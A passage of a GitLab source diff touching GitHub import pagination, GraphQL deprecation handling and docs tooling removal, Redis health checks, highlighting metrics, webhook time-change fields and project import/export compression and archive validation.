+ # pages of reviews from already imported merge requests.
+ page_counter = PageCounter.new(project, page_counter_id(merge_request))
+ repo = project.import_source
+ options = collection_options.merge(page: page_counter.current)
+
+ client.each_page(collection_method, repo, merge_request.iid, options) do |page|
+ next unless page_counter.set(page.number)
+
+ yield(page, merge_request)
+ end
+
+ # Avoid unnecessary Redis cache keys after the work is done.
+ page_counter.expire!
+ mark_merge_request_reviews_imported(merge_request)
+ end
+ end
+
+ # Returns only the merge requests that still have reviews to be imported.
+ def merge_requests_to_import
+ project.merge_requests.where.not(id: already_imported_merge_requests) # rubocop: disable CodeReuse/ActiveRecord
+ end
+
+ def already_imported_merge_requests
+ Gitlab::Cache::Import::Caching.values_from_set(merge_requests_already_imported_cache_key)
+ end
+
+ def page_counter_id(merge_request)
+ "merge_request/#{merge_request.id}/#{collection_method}"
+ end
+
+ def mark_merge_request_reviews_imported(merge_request)
+ Gitlab::Cache::Import::Caching.set_add(
+ merge_requests_already_imported_cache_key,
+ merge_request.id
+ )
+ end
end
end
end
diff --git a/lib/gitlab/github_import/page_counter.rb b/lib/gitlab/github_import/page_counter.rb
index 3b4fd42ba2a..3face4c794b 100644
--- a/lib/gitlab/github_import/page_counter.rb
+++ b/lib/gitlab/github_import/page_counter.rb
@@ -26,6 +26,10 @@ module Gitlab
def current
Gitlab::Cache::Import::Caching.read_integer(cache_key) || 1
end
+
+ def expire!
+ Gitlab::Cache::Import::Caching.expire(cache_key, 0)
+ end
end
end
end
diff --git a/lib/gitlab/global_id/deprecations.rb b/lib/gitlab/global_id/deprecations.rb
new file mode 100644
index 00000000000..ac4a44e0e10
--- /dev/null
+++ b/lib/gitlab/global_id/deprecations.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module GlobalId
+ module Deprecations
+ Deprecation = Struct.new(:old_model_name, :new_model_name, :milestone, keyword_init: true)
+
+ # Contains the deprecations in place.
+ # Example:
+ #
+ # DEPRECATIONS = [
+ # Deprecation.new(old_model_name: 'PrometheusService', new_model_name: 'Integrations::Prometheus', milestone: '14.0')
+ # ].freeze
+ DEPRECATIONS = [
+ # This works around an accidentally released argument named as `"EEIterationID"` in 7000489db.
+ Deprecation.new(old_model_name: 'EEIteration', new_model_name: 'Iteration', milestone: '13.3')
+ ].freeze
+
+ # Maps of the DEPRECATIONS Hash for quick access.
+ OLD_NAME_MAP = DEPRECATIONS.index_by(&:old_model_name).freeze
+ NEW_NAME_MAP = DEPRECATIONS.index_by(&:new_model_name).freeze
+ OLD_GRAPHQL_NAME_MAP = DEPRECATIONS.index_by do |d|
+ Types::GlobalIDType.model_name_to_graphql_name(d.old_model_name)
+ end.freeze
+
+ def self.deprecated?(old_model_name)
+ OLD_NAME_MAP.key?(old_model_name)
+ end
+
+ def self.deprecation_for(old_model_name)
+ OLD_NAME_MAP[old_model_name]
+ end
+
+ def self.deprecation_by(new_model_name)
+ NEW_NAME_MAP[new_model_name]
+ end
+
+ # Returns the new `graphql_name` (Type#graphql_name) of a deprecated GID,
+ # or the `graphql_name` argument given if no deprecation applies.
+ def self.apply_to_graphql_name(graphql_name)
+ return graphql_name unless deprecation = OLD_GRAPHQL_NAME_MAP[graphql_name]
+
+ Types::GlobalIDType.model_name_to_graphql_name(deprecation.new_model_name)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/gon_helper.rb b/lib/gitlab/gon_helper.rb
index 1fd210c521e..14f9c7f2191 100644
--- a/lib/gitlab/gon_helper.rb
+++ b/lib/gitlab/gon_helper.rb
@@ -47,6 +47,7 @@ module Gitlab
push_frontend_feature_flag(:snippets_binary_blob, default_enabled: false)
push_frontend_feature_flag(:usage_data_api, type: :ops, default_enabled: :yaml)
push_frontend_feature_flag(:security_auto_fix, default_enabled: false)
+ push_frontend_feature_flag(:improved_emoji_picker, default_enabled: :yaml)
end
# Exposes the state of a feature flag to the frontend code.
diff --git a/lib/gitlab/graphql.rb b/lib/gitlab/graphql.rb
deleted file mode 100644
index 74c04e5380e..00000000000
--- a/lib/gitlab/graphql.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Graphql
- StandardGraphqlError = Class.new(StandardError)
- end
-end
diff --git a/lib/gitlab/graphql/authorize/authorize_resource.rb b/lib/gitlab/graphql/authorize/authorize_resource.rb
index 4d575b964e5..dc49c806398 100644
--- a/lib/gitlab/graphql/authorize/authorize_resource.rb
+++ b/lib/gitlab/graphql/authorize/authorize_resource.rb
@@ -51,14 +51,11 @@ module Gitlab
object
end
- # authorizes the object using the current class authorization.
def authorize!(object)
raise_resource_not_available_error! unless authorized_resource?(object)
end
def authorized_resource?(object)
- # Sanity check. We don't want to accidentally allow a developer to authorize
- # without first adding permissions to authorize against
raise ConfigurationError, "#{self.class.name} has no authorizations" if self.class.authorization.none?
self.class.authorization.ok?(object, current_user)
diff --git a/lib/gitlab/graphql/deprecation.rb b/lib/gitlab/graphql/deprecation.rb
index 8b73eeb4e52..20068758502 100644
--- a/lib/gitlab/graphql/deprecation.rb
+++ b/lib/gitlab/graphql/deprecation.rb
@@ -41,7 +41,7 @@ module Gitlab
parts = [
"#{deprecated_in(format: :markdown)}.",
reason_text,
- replacement.then { |r| "Use: [`#{r}`](##{r.downcase.tr('.', '')})." if r }
+ replacement_markdown.then { |r| "Use: #{r}." if r }
].compact
case context
@@ -52,6 +52,13 @@ module Gitlab
end
end
+ def replacement_markdown
+ return unless replacement.present?
+ return "`#{replacement}`" unless replacement.include?('.') # only fully qualified references can be linked
+
+ "[`#{replacement}`](##{replacement.downcase.tr('.', '')})"
+ end
+
def edit_description(original_description)
@original_description = original_description
return unless original_description
diff --git a/lib/gitlab/graphql/docs/helper.rb b/lib/gitlab/graphql/docs/helper.rb
deleted file mode 100644
index b598b605141..00000000000
--- a/lib/gitlab/graphql/docs/helper.rb
+++ /dev/null
@@ -1,434 +0,0 @@
-# frozen_string_literal: true
-
-return if Rails.env.production?
-
-module Gitlab
- module Graphql
- module Docs
- # We assume a few things about the schema. We use the graphql-ruby gem, which enforces:
- # - All mutations have a single input field named 'input'
- # - All mutations have a payload type, named after themselves
- # - All mutations have an input type, named after themselves
- # If these things change, then some of this code will break. Such places
- # are guarded with an assertion that our assumptions are not violated.
- ViolatedAssumption = Class.new(StandardError)
-
- SUGGESTED_ACTION = <<~MSG
- We expect it to be impossible to violate our assumptions about
- how mutation arguments work.
-
- If that is not the case, then something has probably changed in the
- way we generate our schema, perhaps in the library we use: graphql-ruby
-
- Please ask for help in the #f_graphql or #backend channels.
- MSG
-
- CONNECTION_ARGS = %w[after before first last].to_set
-
- FIELD_HEADER = <<~MD
- #### Fields
-
- | Name | Type | Description |
- | ---- | ---- | ----------- |
- MD
-
- ARG_HEADER = <<~MD
- # Arguments
-
- | Name | Type | Description |
- | ---- | ---- | ----------- |
- MD
-
- CONNECTION_NOTE = <<~MD
- This field returns a [connection](#connections). It accepts the
- four standard [pagination arguments](#connection-pagination-arguments):
- `before: String`, `after: String`, `first: Int`, `last: Int`.
- MD
-
- # Helper with functions to be used by HAML templates
- # This includes graphql-docs gem helpers class.
- # You can check the included module on: https://github.com/gjtorikian/graphql-docs/blob/v1.6.0/lib/graphql-docs/helpers.rb
- module Helper
- include GraphQLDocs::Helpers
- include Gitlab::Utils::StrongMemoize
-
- def auto_generated_comment
- <<-MD.strip_heredoc
- ---
- stage: Plan
- group: Project Management
- info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
- ---
-
- <!---
- This documentation is auto generated by a script.
-
- Please do not edit this file directly, check compile_docs task on lib/tasks/gitlab/graphql.rake.
- --->
- MD
- end
-
- # Template methods:
- # Methods that return chunks of Markdown for insertion into the document
-
- def render_full_field(field, heading_level: 3, owner: nil)
- conn = connection?(field)
- args = field[:arguments].reject { |arg| conn && CONNECTION_ARGS.include?(arg[:name]) }
- arg_owner = [owner, field[:name]]
-
- chunks = [
- render_name_and_description(field, level: heading_level, owner: owner),
- render_return_type(field),
- render_input_type(field),
- render_connection_note(field),
- render_argument_table(heading_level, args, arg_owner),
- render_return_fields(field, owner: owner)
- ]
-
- join(:block, chunks)
- end
-
- def render_argument_table(level, args, owner)
- arg_header = ('#' * level) + ARG_HEADER
- render_field_table(arg_header, args, owner)
- end
-
- def render_name_and_description(object, owner: nil, level: 3)
- content = []
-
- heading = '#' * level
- name = [owner, object[:name]].compact.join('.')
-
- content << "#{heading} `#{name}`"
- content << render_description(object, owner, :block)
-
- join(:block, content)
- end
-
- def render_object_fields(fields, owner:, level_bump: 0)
- return if fields.blank?
-
- (with_args, no_args) = fields.partition { |f| args?(f) }
- type_name = owner[:name] if owner
- header_prefix = '#' * level_bump
- sections = [
- render_simple_fields(no_args, type_name, header_prefix),
- render_fields_with_arguments(with_args, type_name, header_prefix)
- ]
-
- join(:block, sections)
- end
-
- def render_enum_value(enum, value)
- render_row(render_name(value, enum[:name]), render_description(value, enum[:name], :inline))
- end
-
- def render_union_member(member)
- "- [`#{member}`](##{member.downcase})"
- end
-
- # QUERIES:
-
- # Methods that return parts of the schema, or related information:
-
- def connection_object_types
- objects.select { |t| t[:is_edge] || t[:is_connection] }
- end
-
- def object_types
- objects.reject { |t| t[:is_edge] || t[:is_connection] || t[:is_payload] }
- end
-
- def interfaces
- graphql_interface_types.map { |t| t.merge(fields: t[:fields] + t[:connections]) }
- end
-
- def fields_of(type_name)
- graphql_operation_types
- .find { |type| type[:name] == type_name }
- .values_at(:fields, :connections)
- .flatten
- .then { |fields| sorted_by_name(fields) }
- end
-
- # Place the arguments of the input types on the mutation itself.
- # see: `#input_types` - this method must not call `#input_types` to avoid mutual recursion
- def mutations
- @mutations ||= sorted_by_name(graphql_mutation_types).map do |t|
- inputs = t[:input_fields]
- input = inputs.first
- name = t[:name]
-
- assert!(inputs.one?, "Expected exactly 1 input field named #{name}. Found #{inputs.count} instead.")
- assert!(input[:name] == 'input', "Expected the input of #{name} to be named 'input'")
-
- input_type_name = input[:type][:name]
- input_type = graphql_input_object_types.find { |t| t[:name] == input_type_name }
- assert!(input_type.present?, "Cannot find #{input_type_name} for #{name}.input")
-
- arguments = input_type[:input_fields]
- seen_type!(input_type_name)
- t.merge(arguments: arguments)
- end
- end
-
- # We assume that the mutations have been processed first, marking their
- # inputs as `seen_type?`
- def input_types
- mutations # ensure that mutations have seen their inputs first
- graphql_input_object_types.reject { |t| seen_type?(t[:name]) }
- end
-
- # We ignore the built-in enum types, and sort values by name
- def enums
- graphql_enum_types
- .reject { |type| type[:values].empty? }
- .reject { |enum_type| enum_type[:name].start_with?('__') }
- .map { |type| type.merge(values: sorted_by_name(type[:values])) }
- end
-
- private # DO NOT CALL THESE METHODS IN TEMPLATES
-
- # Template methods
-
- def render_return_type(query)
- return unless query[:type] # for example, mutations
-
- "Returns #{render_field_type(query[:type])}."
- end
-
- def render_simple_fields(fields, type_name, header_prefix)
- render_field_table(header_prefix + FIELD_HEADER, fields, type_name)
- end
-
- def render_fields_with_arguments(fields, type_name, header_prefix)
- return if fields.empty?
-
- level = 5 + header_prefix.length
- sections = sorted_by_name(fields).map do |f|
- render_full_field(f, heading_level: level, owner: type_name)
- end
-
- <<~MD.chomp
- #{header_prefix}#### Fields with arguments
-
- #{join(:block, sections)}
- MD
- end
-
- def render_field_table(header, fields, owner)
- return if fields.empty?
-
- fields = sorted_by_name(fields)
- header + join(:table, fields.map { |f| render_field(f, owner) })
- end
-
- def render_field(field, owner)
- render_row(
- render_name(field, owner),
- render_field_type(field[:type]),
- render_description(field, owner, :inline)
- )
- end
-
- def render_return_fields(mutation, owner:)
- fields = mutation[:return_fields]
- return if fields.blank?
-
- name = owner.to_s + mutation[:name]
- render_object_fields(fields, owner: { name: name })
- end
-
- def render_connection_note(field)
- return unless connection?(field)
-
- CONNECTION_NOTE.chomp
- end
-
- def render_row(*values)
- "| #{values.map { |val| val.to_s.squish }.join(' | ')} |"
- end
-
- def render_name(object, owner = nil)
- rendered_name = "`#{object[:name]}`"
- rendered_name += ' **{warning-solid}**' if deprecated?(object, owner)
-
- return rendered_name unless owner
-
- owner = Array.wrap(owner).join('')
- id = (owner + object[:name]).downcase
-
- %(<a id="#{id}"></a>) + rendered_name
- end
-
- # Returns the object description. If the object has been deprecated,
- # the deprecation reason will be returned in place of the description.
- def render_description(object, owner = nil, context = :block)
- if deprecated?(object, owner)
- render_deprecation(object, owner, context)
- else
- render_description_of(object, owner, context)
- end
- end
-
- def deprecated?(object, owner)
- return true if object[:is_deprecated] # only populated for fields, not arguments!
-
- key = [*Array.wrap(owner), object[:name]].join('.')
- deprecations.key?(key)
- end
-
- def render_description_of(object, owner, context = nil)
- desc = if object[:is_edge]
- base = object[:name].chomp('Edge')
- "The edge type for [`#{base}`](##{base.downcase})."
- elsif object[:is_connection]
- base = object[:name].chomp('Connection')
- "The connection type for [`#{base}`](##{base.downcase})."
- else
- object[:description]&.strip
- end
-
- return if desc.blank?
-
- desc += '.' unless desc.ends_with?('.')
- see = doc_reference(object, owner)
- desc += " #{see}" if see
- desc += " (see [Connections](#connections))" if connection?(object) && context != :block
- desc
- end
-
- def doc_reference(object, owner)
- field = schema_field(owner, object[:name]) if owner
- return unless field
-
- ref = field.try(:doc_reference)
- return if ref.blank?
-
- parts = ref.to_a.map do |(title, url)|
- "[#{title.strip}](#{url.strip})"
- end
-
- "See #{parts.join(', ')}."
- end
-
- def render_deprecation(object, owner, context)
- buff = []
- deprecation = schema_deprecation(owner, object[:name])
-
- buff << (deprecation&.original_description || render_description_of(object, owner)) if context == :block
- buff << if deprecation
- deprecation.markdown(context: context)
- else
- "**Deprecated:** #{object[:deprecation_reason]}"
- end
-
- join(context, buff)
- end
-
- def render_field_type(type)
- "[`#{type[:info]}`](##{type[:name].downcase})"
- end
-
- def join(context, chunks)
- chunks.compact!
- return if chunks.blank?
-
- case context
- when :block
- chunks.join("\n\n")
- when :inline
- chunks.join(" ").squish.presence
- when :table
- chunks.join("\n")
- end
- end
-
- # Queries
-
- def sorted_by_name(objects)
- return [] unless objects.present?
-
- objects.sort_by { |o| o[:name] }
- end
-
- def connection?(field)
- type_name = field.dig(:type, :name)
- type_name.present? && type_name.ends_with?('Connection')
- end
-
- # We are ignoring connections and built in types for now,
- # they should be added when queries are generated.
- def objects
- strong_memoize(:objects) do
- mutations = schema.mutation&.fields&.keys&.to_set || []
-
- graphql_object_types
- .reject { |object_type| object_type[:name]["__"] || object_type[:name] == 'Subscription' } # We ignore introspection and subscription types.
- .map do |type|
- name = type[:name]
- type.merge(
- is_edge: name.ends_with?('Edge'),
- is_connection: name.ends_with?('Connection'),
- is_payload: name.ends_with?('Payload') && mutations.include?(name.chomp('Payload').camelcase(:lower)),
- fields: type[:fields] + type[:connections]
- )
- end
- end
- end
-
- def args?(field)
- args = field[:arguments]
- return false if args.blank?
- return true unless connection?(field)
-
- args.any? { |arg| CONNECTION_ARGS.exclude?(arg[:name]) }
- end
-
- # returns the deprecation information for a field or argument
- # See: Gitlab::Graphql::Deprecation
- def schema_deprecation(type_name, field_name)
- key = [*Array.wrap(type_name), field_name].join('.')
- deprecations[key]
- end
-
- def render_input_type(query)
- input_field = query[:input_fields]&.first
- return unless input_field
-
- "Input type: `#{input_field[:type][:name]}`"
- end
-
- def schema_field(type_name, field_name)
- type = schema.types[type_name]
- return unless type && type.kind.fields?
-
- type.fields[field_name]
- end
-
- def deprecations
- strong_memoize(:deprecations) do
- mapping = {}
-
- schema.types.each do |type_name, type|
- next unless type.kind.fields?
-
- type.fields.each do |field_name, field|
- mapping["#{type_name}.#{field_name}"] = field.try(:deprecation)
- field.arguments.each do |arg_name, arg|
- mapping["#{type_name}.#{field_name}.#{arg_name}"] = arg.try(:deprecation)
- end
- end
- end
-
- mapping.compact
- end
- end
-
- def assert!(claim, message)
- raise ViolatedAssumption, "#{message}\n#{SUGGESTED_ACTION}" unless claim
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/graphql/docs/renderer.rb b/lib/gitlab/graphql/docs/renderer.rb
deleted file mode 100644
index ae0898e6198..00000000000
--- a/lib/gitlab/graphql/docs/renderer.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-# frozen_string_literal: true
-
-return if Rails.env.production?
-
-module Gitlab
- module Graphql
- module Docs
- # Gitlab renderer for graphql-docs.
- # Uses HAML templates to parse markdown and generate .md files.
- # It uses graphql-docs helpers and schema parser, more information in https://github.com/gjtorikian/graphql-docs.
- #
- # Arguments:
- # schema - the GraphQL schema definition. For GitLab should be: GitlabSchema
- # output_dir: The folder where the markdown files will be saved
- # template: The path of the haml template to be parsed
- class Renderer
- include Gitlab::Graphql::Docs::Helper
-
- attr_reader :schema
-
- def initialize(schema, output_dir:, template:)
- @output_dir = output_dir
- @template = template
- @layout = Haml::Engine.new(File.read(template))
- @parsed_schema = GraphQLDocs::Parser.new(schema.graphql_definition, {}).parse
- @schema = schema
- @seen = Set.new
- end
-
- def contents
- # Render and remove an extra trailing new line
- @contents ||= @layout.render(self).sub!(/\n(?=\Z)/, '')
- end
-
- def write
- filename = File.join(@output_dir, 'index.md')
-
- FileUtils.mkdir_p(@output_dir)
- File.write(filename, contents)
- end
-
- private
-
- def seen_type?(name)
- @seen.include?(name)
- end
-
- def seen_type!(name)
- @seen << name
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/graphql/standard_graphql_error.rb b/lib/gitlab/graphql/standard_graphql_error.rb
new file mode 100644
index 00000000000..8364c232af2
--- /dev/null
+++ b/lib/gitlab/graphql/standard_graphql_error.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+# rubocop:disable Cop/CustomErrorClass
+
+module Gitlab
+ module Graphql
+ class StandardGraphqlError < StandardError
+ end
+ end
+end
diff --git a/lib/gitlab/health_checks/redis/redis_check.rb b/lib/gitlab/health_checks/redis/redis_check.rb
index f7e46fce134..44b85bf886e 100644
--- a/lib/gitlab/health_checks/redis/redis_check.rb
+++ b/lib/gitlab/health_checks/redis/redis_check.rb
@@ -20,7 +20,8 @@ module Gitlab
def check
::Gitlab::HealthChecks::Redis::CacheCheck.check_up &&
::Gitlab::HealthChecks::Redis::QueuesCheck.check_up &&
- ::Gitlab::HealthChecks::Redis::SharedStateCheck.check_up
+ ::Gitlab::HealthChecks::Redis::SharedStateCheck.check_up &&
+ ::Gitlab::HealthChecks::Redis::TraceChunksCheck.check_up
end
end
end
diff --git a/lib/gitlab/health_checks/redis/trace_chunks_check.rb b/lib/gitlab/health_checks/redis/trace_chunks_check.rb
new file mode 100644
index 00000000000..cf9fa700b0a
--- /dev/null
+++ b/lib/gitlab/health_checks/redis/trace_chunks_check.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module HealthChecks
+ module Redis
+ class TraceChunksCheck
+ extend SimpleAbstractCheck
+
+ class << self
+ def check_up
+ check
+ end
+
+ private
+
+ def metric_prefix
+ 'redis_trace_chunks_ping'
+ end
+
+ def successful?(result)
+ result == 'PONG'
+ end
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def check
+ catch_timeout 10.seconds do
+ Gitlab::Redis::TraceChunks.with(&:ping)
+ end
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/health_checks/unicorn_check.rb b/lib/gitlab/health_checks/unicorn_check.rb
deleted file mode 100644
index f0c6fdab600..00000000000
--- a/lib/gitlab/health_checks/unicorn_check.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module HealthChecks
- # This check can only be run on Unicorn `master` process
- class UnicornCheck
- extend SimpleAbstractCheck
-
- class << self
- include Gitlab::Utils::StrongMemoize
-
- private
-
- def metric_prefix
- 'unicorn_check'
- end
-
- def successful?(result)
- result > 0
- end
-
- def check
- return unless http_servers
-
- http_servers.sum(&:worker_processes)
- end
-
- # Traversal of ObjectSpace is expensive, on fully loaded application
- # it takes around 80ms. The instances of HttpServers are not a subject
- # to change so we can cache the list of servers.
- def http_servers
- strong_memoize(:http_servers) do
- next unless Gitlab::Runtime.unicorn?
-
- ObjectSpace.each_object(::Unicorn::HttpServer).to_a
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/highlight.rb b/lib/gitlab/highlight.rb
index e4857280969..d05ced00a6b 100644
--- a/lib/gitlab/highlight.rb
+++ b/lib/gitlab/highlight.rb
@@ -11,9 +11,11 @@ module Gitlab
end
def self.too_large?(size)
- return false unless size.to_i > Gitlab.config.extra['maximum_text_highlight_size_kilobytes']
+ file_size_limit = Gitlab.config.extra['maximum_text_highlight_size_kilobytes']
- over_highlight_size_limit.increment(source: "text highlighter") if Feature.enabled?(:track_file_size_over_highlight_limit)
+ return false unless size.to_i > file_size_limit
+
+ over_highlight_size_limit.increment(source: "file size: #{file_size_limit}") if Feature.enabled?(:track_file_size_over_highlight_limit)
true
end
@@ -68,6 +70,8 @@ module Gitlab
end
def highlight_rich(text, continue: true)
+ add_highlight_attempt_metric
+
tag = lexer.tag
tokens = lexer.lex(text, continue: continue)
Timeout.timeout(timeout_time) { @formatter.format(tokens, context.merge(tag: tag)).html_safe }
@@ -88,12 +92,25 @@ module Gitlab
Gitlab::DependencyLinker.link(blob_name, text, highlighted_text)
end
+ def add_highlight_attempt_metric
+ return unless Feature.enabled?(:track_highlight_timeouts)
+
+ highlighting_attempt.increment(source: (@language || "undefined"))
+ end
+
def add_highlight_timeout_metric
return unless Feature.enabled?(:track_highlight_timeouts)
highlight_timeout.increment(source: Gitlab::Runtime.sidekiq? ? "background" : "foreground")
end
+ def highlighting_attempt
+ @highlight_attempt ||= Gitlab::Metrics.counter(
+ :file_highlighting_attempt,
+ 'Counts the times highlighting has been attempted on a file'
+ )
+ end
+
def highlight_timeout
@highlight_timeout ||= Gitlab::Metrics.counter(
:highlight_timeout,
diff --git a/lib/gitlab/hook_data/issue_builder.rb b/lib/gitlab/hook_data/issue_builder.rb
index d5595e80bdf..2d1bb515058 100644
--- a/lib/gitlab/hook_data/issue_builder.rb
+++ b/lib/gitlab/hook_data/issue_builder.rb
@@ -7,6 +7,7 @@ module Gitlab
assignees
labels
total_time_spent
+ time_change
].freeze
def self.safe_hook_attributes
@@ -43,7 +44,9 @@ module Gitlab
description: absolute_image_urls(issue.description),
url: Gitlab::UrlBuilder.build(issue),
total_time_spent: issue.total_time_spent,
+ time_change: issue.time_change,
human_total_time_spent: issue.human_total_time_spent,
+ human_time_change: issue.human_time_change,
human_time_estimate: issue.human_time_estimate,
assignee_ids: issue.assignee_ids,
assignee_id: issue.assignee_ids.first, # This key is deprecated
diff --git a/lib/gitlab/hook_data/merge_request_builder.rb b/lib/gitlab/hook_data/merge_request_builder.rb
index ae2ec424ce5..db807a3c557 100644
--- a/lib/gitlab/hook_data/merge_request_builder.rb
+++ b/lib/gitlab/hook_data/merge_request_builder.rb
@@ -37,6 +37,7 @@ module Gitlab
assignees
labels
total_time_spent
+ time_change
].freeze
alias_method :merge_request, :object
@@ -50,7 +51,9 @@ module Gitlab
last_commit: merge_request.diff_head_commit&.hook_attrs,
work_in_progress: merge_request.work_in_progress?,
total_time_spent: merge_request.total_time_spent,
+ time_change: merge_request.time_change,
human_total_time_spent: merge_request.human_total_time_spent,
+ human_time_change: merge_request.human_time_change,
human_time_estimate: merge_request.human_time_estimate,
assignee_ids: merge_request.assignee_ids,
assignee_id: merge_request.assignee_ids.first, # This key is deprecated
diff --git a/lib/gitlab/i18n.rb b/lib/gitlab/i18n.rb
index 023dbd1c601..30e72b58e21 100644
--- a/lib/gitlab/i18n.rb
+++ b/lib/gitlab/i18n.rb
@@ -40,24 +40,24 @@ module Gitlab
TRANSLATION_LEVELS = {
'bg' => 1,
'cs_CZ' => 1,
- 'de' => 19,
+ 'de' => 18,
'en' => 100,
'eo' => 1,
- 'es' => 41,
+ 'es' => 40,
'fil_PH' => 1,
- 'fr' => 14,
+ 'fr' => 13,
'gl_ES' => 1,
'id_ID' => 0,
'it' => 2,
- 'ja' => 45,
- 'ko' => 14,
+ 'ja' => 44,
+ 'ko' => 13,
'nl_NL' => 1,
- 'pl_PL' => 1,
- 'pt_BR' => 22,
- 'ru' => 32,
+ 'pl_PL' => 3,
+ 'pt_BR' => 21,
+ 'ru' => 30,
'tr_TR' => 17,
- 'uk' => 43,
- 'zh_CN' => 72,
+ 'uk' => 42,
+ 'zh_CN' => 69,
'zh_HK' => 3,
'zh_TW' => 4
}.freeze
diff --git a/lib/gitlab/import_export/after_export_strategies/web_upload_strategy.rb b/lib/gitlab/import_export/after_export_strategies/web_upload_strategy.rb
index 1e8009d29c2..78608a946de 100644
--- a/lib/gitlab/import_export/after_export_strategies/web_upload_strategy.rb
+++ b/lib/gitlab/import_export/after_export_strategies/web_upload_strategy.rb
@@ -32,6 +32,10 @@ module Gitlab
end
end
+ def delete_export?
+ false
+ end
+
private
def send_file
diff --git a/lib/gitlab/import_export/base/relation_factory.rb b/lib/gitlab/import_export/base/relation_factory.rb
index 959ece4b903..30cd5ccfbcb 100644
--- a/lib/gitlab/import_export/base/relation_factory.rb
+++ b/lib/gitlab/import_export/base/relation_factory.rb
@@ -69,6 +69,7 @@ module Gitlab
# the relation_hash, updating references with new object IDs, mapping users using
# the "members_mapper" object, also updating notes if required.
def create
+ return @relation_hash if author_relation?
return if invalid_relation? || predefined_relation?
setup_base_models
@@ -95,6 +96,10 @@ module Gitlab
relation_class.try(:predefined_id?, @relation_hash['id'])
end
+ def author_relation?
+ @relation_name == :author
+ end
+
def setup_models
raise NotImplementedError
end
diff --git a/lib/gitlab/import_export/command_line_util.rb b/lib/gitlab/import_export/command_line_util.rb
index ace9d83dc9a..6c0b6de9e85 100644
--- a/lib/gitlab/import_export/command_line_util.rb
+++ b/lib/gitlab/import_export/command_line_util.rb
@@ -15,8 +15,17 @@ module Gitlab
end
def gzip(dir:, filename:)
+ gzip_with_options(dir: dir, filename: filename)
+ end
+
+ def gunzip(dir:, filename:)
+ gzip_with_options(dir: dir, filename: filename, options: 'd')
+ end
+
+ def gzip_with_options(dir:, filename:, options: nil)
filepath = File.join(dir, filename)
cmd = %W(gzip #{filepath})
+ cmd << "-#{options}" if options
_, status = Gitlab::Popen.popen(cmd)
diff --git a/lib/gitlab/import_export/decompressed_archive_size_validator.rb b/lib/gitlab/import_export/decompressed_archive_size_validator.rb
index 2baf2c61f7c..febfe00af0b 100644
--- a/lib/gitlab/import_export/decompressed_archive_size_validator.rb
+++ b/lib/gitlab/import_export/decompressed_archive_size_validator.rb
@@ -32,7 +32,16 @@ module Gitlab
Timeout.timeout(TIMEOUT_LIMIT) do
stdin, stdout, stderr, wait_thr = Open3.popen3(command, pgroup: true)
stdin.close
- pgrp = Process.getpgid(wait_thr[:pid])
+
+ # When validation is performed on a small archive (e.g. 100 bytes)
+ # `wait_thr` finishes before we can get process group id. Do not
+ # raise exception in this scenario.
+ pgrp = begin
+ Process.getpgid(wait_thr[:pid])
+ rescue Errno::ESRCH
+ nil
+ end
+
status = wait_thr.value
if status.success?
diff --git a/lib/gitlab/import_export/error.rb b/lib/gitlab/import_export/error.rb
index 4af6b03fe94..af0026b8864 100644
--- a/lib/gitlab/import_export/error.rb
+++ b/lib/gitlab/import_export/error.rb
@@ -15,7 +15,7 @@ module Gitlab
end
def self.file_compression_error
- self.new('File compression failed')
+ self.new('File compression/decompression failed')
end
end
end
diff --git a/lib/gitlab/import_export/file_importer.rb b/lib/gitlab/import_export/file_importer.rb
index 4b3258f8caa..5274fcec43e 100644
--- a/lib/gitlab/import_export/file_importer.rb
+++ b/lib/gitlab/import_export/file_importer.rb
@@ -28,9 +28,7 @@ module Gitlab
copy_archive
wait_for_archived_file do
- # Disable archive validation by default
- # See: https://gitlab.com/gitlab-org/gitlab/-/issues/235949
- validate_decompressed_archive_size if Feature.enabled?(:validate_import_decompressed_archive_size)
+ validate_decompressed_archive_size if Feature.enabled?(:validate_import_decompressed_archive_size, default_enabled: :yaml)
decompress_archive
end
rescue StandardError => e
diff --git a/lib/gitlab/import_export/group/import_export.yml b/lib/gitlab/import_export/group/import_export.yml
index aceb4821a06..4786c7a52cc 100644
--- a/lib/gitlab/import_export/group/import_export.yml
+++ b/lib/gitlab/import_export/group/import_export.yml
@@ -70,11 +70,14 @@ ee:
- :award_emoji
- events:
- :push_event_payload
+ - label_links:
+ - :label
- notes:
- :author
- :award_emoji
- events:
- :push_event_payload
+ - :system_note_metadata
- boards:
- :board_assignee
- :milestone
diff --git a/lib/gitlab/import_export/group/legacy_import_export.yml b/lib/gitlab/import_export/group/legacy_import_export.yml
index 19611e1b010..0a6234f9f02 100644
--- a/lib/gitlab/import_export/group/legacy_import_export.yml
+++ b/lib/gitlab/import_export/group/legacy_import_export.yml
@@ -72,6 +72,8 @@ ee:
- :award_emoji
- events:
- :push_event_payload
+ - label_links:
+ - :label
- notes:
- :author
- :award_emoji
diff --git a/lib/gitlab/import_export/group/legacy_tree_restorer.rb b/lib/gitlab/import_export/group/legacy_tree_restorer.rb
index 2b95c098b59..8b39362b6bb 100644
--- a/lib/gitlab/import_export/group/legacy_tree_restorer.rb
+++ b/lib/gitlab/import_export/group/legacy_tree_restorer.rb
@@ -55,11 +55,11 @@ module Gitlab
def relation_reader
strong_memoize(:relation_reader) do
if @group_hash.present?
- ImportExport::JSON::LegacyReader::Hash.new(
+ ImportExport::Json::LegacyReader::Hash.new(
@group_hash,
relation_names: reader.group_relation_names)
else
- ImportExport::JSON::LegacyReader::File.new(
+ ImportExport::Json::LegacyReader::File.new(
File.join(shared.export_path, 'group.json'),
relation_names: reader.group_relation_names)
end
